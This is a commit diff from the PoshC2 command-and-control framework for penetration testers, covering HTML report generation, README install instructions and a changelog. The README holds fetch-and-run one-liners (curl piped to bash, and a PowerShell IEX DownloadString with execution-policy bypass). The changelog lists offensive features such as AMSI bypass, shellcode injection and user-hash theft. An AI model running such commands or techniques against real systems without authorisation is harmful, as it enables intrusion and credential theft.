HTMLPost = HTMLPost.replace("<th>Domain</th>","<th class=\"Domain\">Domain</th>")
HTMLPost = HTMLPost.replace("<th>Alive</th>","<th class=\"Alive\">Alive</th>")
HTMLPost = HTMLPost.replace("<th>Sleep</th>","<th class=\"Sleep\">Sleep</th>")
HTMLPost = HTMLPost.replace("<th>ModsLoaded</th>","<th class=\"ModsLoaded\">ModsLoaded</th>")
HTMLPost = HTMLPost.replace("<th>Pivot</th>","<th class=\"Pivot\">Pivot</th>")
HTMLPost = HTMLPost + """
<script>
tweakMarkup();
</script>"""
output_file.write("%s%s" % (HTMLPre.encode('utf-8'),HTMLPost.encode('utf-8')))
output_file.close()
print reportname
generate_table("CompletedTasks")
generate_table("C2Server")
generate_table("Creds")
generate_table("Implants")

File diff suppressed because one or more lines are too long

View File

@ -1,26 +1,47 @@
# PoshC2
PoshC2 is a proxy aware C2 framework written completely in PowerShell to aid penetration testers with red teaming, post-exploitation and lateral movement. The tools and modules were developed off the back of our successful PowerShell sessions and payload types for the Metasploit Framework. PowerShell was chosen as the base language as it provides all of the functionality and rich features required without needing to introduce multiple languages to the framework.
PoshC2 is a proxy aware C2 framework that utilises Powershell **and/or** equivalent (System.Management.Automation.dll) to aid penetration testers with red teaming, post-exploitation and lateral movement. Powershell was chosen as the base implant language as it provides all of the functionality and rich features without needing to introduce multiple third party libraries to the framework.
Windows Install (PoshC2):
In addition to the Powershell implant, PoshC2 also has a basic dropper written purely in Python that can be used for command and control over Unix based systems such as Mac OS or Ubuntu.
The server-side component is written in Python for cross-platform portability and speed, a Powershell server component still exists and can be installed using the 'Windows Install' as shown below but will not be maintained with future updates and releases.
## Linux Install of [PoshC2_Python](https://github.com/nettitude/PoshC2_Python/)
Install using curl & bash
```
curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2_Python/master/Install.sh | bash
```
Manual install
```
wget https://raw.githubusercontent.com/nettitude/PoshC2_Python/master/Install.sh
chmod +x ./Install.sh
./Install.sh
```
## Windows Install of [PoshC2](https://github.com/nettitude/PoshC2/)
```
powershell -exec bypass -c "IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/nettitude/PoshC2/master/C2-Installer.ps1')"
```
Linux Install (PoshC2_Python):
## Issues / FAQs
```
curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2_Python/master/Install.sh | bash
```
If you are experiencing any issues during the installation or use of PoshC2 please refer checkout the open issues tracking page within GitHub. If this page doesn't have what you're looking for please open a new issue and we will try to resolve the issue asap.
# Documentation
If you are looking for tips and tricks on PoshC2 usage and optimisation, you are welcome to join the slack channel below.
## License / Terms of Use
This software should only be used for **authorised** testing activity and not for malicious use.
By downloading this software you are accepting the terms of use and the licensing agreement.
## Documentation
We maintain PoshC2 documentation over at https://poshc2.readthedocs.io/en/latest/
Find us on #Slack - poshc2.slack.com
# Install
```
curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2_Python/master/Install.sh | bash
```
Find us on #Slack - [poshc2.slack.com](poshc2.slack.com) (to request an invite send an email to labs@nettitude.com)

View File

@ -1,11 +1,28 @@
4.4
====
4.5 (19/11/18)
==============
4.4 (10/11/18)
==============
Inject Shellcode 32bit to 6bit using https://github.com/Coder666/Invoke-CreateRemoteThread64
Added simple Get-IPConfig cmdlet
Updated to include most recent commits
Updated to add option to upload file that is not Hidden & System
Identify if SSL inspection is enabled for web traffic
Obtain a user hash using the methods from 'Internal-Monologue'
Updated to handle accents on hostnames or users
Updated Get-Processfull & Get-Processlist to handle errors on GetOwner()
Updated syntax error in WMIEvent module
Updated Shellcode/DLL to support scriptblock / transcript bypass
Updated default ps command - Now uses Get-ProcessList not Get-ProcessFull
Updated opsec command to add users compromised
Removed sleep as beacon command - set-beacon, beacon or setbeacon
Updated Unhook-AMSI (https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html)
Removed html and replaced with cgi requirement for HTML encoding on output-to-html
Updated print statements in C2Server,ImplantHandler & AutoLoads in preperation for Python3
Updated output-to-html to escape HTML characters
4.3
====
4.3 (27/10/18)
==============
Updated HTML Output for Implants.html
Updated OPSEC command for persistence
Updated Implant Naming Convention to use [Security.Principal.WindowsIdentity]::GetCurrent()).name